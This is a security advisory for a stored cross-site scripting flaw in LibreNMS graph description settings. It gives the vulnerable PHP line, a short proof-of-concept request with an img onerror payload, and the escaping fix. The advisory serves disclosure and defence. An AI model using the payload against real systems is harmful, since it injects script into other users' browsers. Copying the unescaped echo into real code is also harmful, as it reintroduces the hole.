GHSA-7cj5-v4pp-v632

Summary

LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users

Severity

medium

CVSS

4.8

CWE

CWE-79

Published

2026-08-18

Updated

2026-08-18

Advisory details

Summary

The graph_descr.<graphtype> family of settings is echoed verbatim without htmlspecialchars() in includes/html/pages/graphs.inc.php:194. Any admin can store a malicious HTML payload that executes in every authenticated user's browser viewing that graph type.

CVSS

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N — 4.8 Medium

Details

// graphs.inc.php:194
echo LibrenmsConfig::get('graph_descr.' . $vars['type']);

PoC

PUT /settings/graph_descr.device_processor
{"value": "<img src=x onerror=\"alert('ADV-15')\">"}

GET /graphs?type=device_processor
→ <img src=x onerror="alert('ADV-15')">

Fix

echo htmlspecialchars(LibrenmsConfig::get('graph_descr.' . $vars['type']), ENT_QUOTES, 'UTF-8');

Prerequisite

Admin session to set the config value.

References

• https://github.com/advisories/GHSA-7cj5-v4pp-v632
• https://github.com/librenms/librenms/security/advisories/GHSA-7cj5-v4pp-v632
• https://github.com/librenms/librenms/releases/tag/26.7.0

Related advisories

• GHSA-7w8c-qgxg-m7jx — high · Packagist/librenms/librenms
• GHSA-7gww-x7fh-jf9j — high · Packagist/librenms/librenms
• CVE-2026-45694 — medium · Packagist/librenms/librenms
• CVE-2026-55182 — high · Packagist/librenms/librenms
• GHSA-jf24-8g2h-2wg7 — medium · Packagist/librenms/librenms
• GHSA-cg2g-xh64-v4q7 — critical · npm/dompurify
• CVE-2026-102989 — critical · npm/@tanstack/start-server-core
• CVE-2026-104252 — critical · Go/vitess.io/vitess

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